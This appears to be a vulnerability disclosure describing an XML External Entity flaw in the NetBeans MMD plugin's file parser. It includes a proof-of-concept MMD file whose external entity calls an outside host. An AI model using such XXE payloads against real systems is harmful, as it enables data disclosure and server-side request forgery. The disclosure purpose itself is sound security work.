An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
Netbeans MMD Plugin contains the functionality import MMD files. These MMD files are in XML format. 0dd identified that the parser used within the plugin program to parse XML was not securely implemented.
Where the Issue Occurred
The code below creates an XML parser which parses the MMD file passed to it:
The XML parser is set up on Line 149 of
final DocumentBuilder builder = factory.newDocumentBuilder();
The XML input is parsed on Line Line 159 of
document = builder.parse(stream);
An attacker coerces a user to open an MMD file, which utilises the weaknesses within the parser to execute unauthorise actions.
File named Test.mmd
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://0dd.zone"> ]> <r>&sp;</r>
- Issue Reported: 30th May 2018
- Issue Resolved:
- Blog Post Published:
- Applied for CVE: 24th June 2018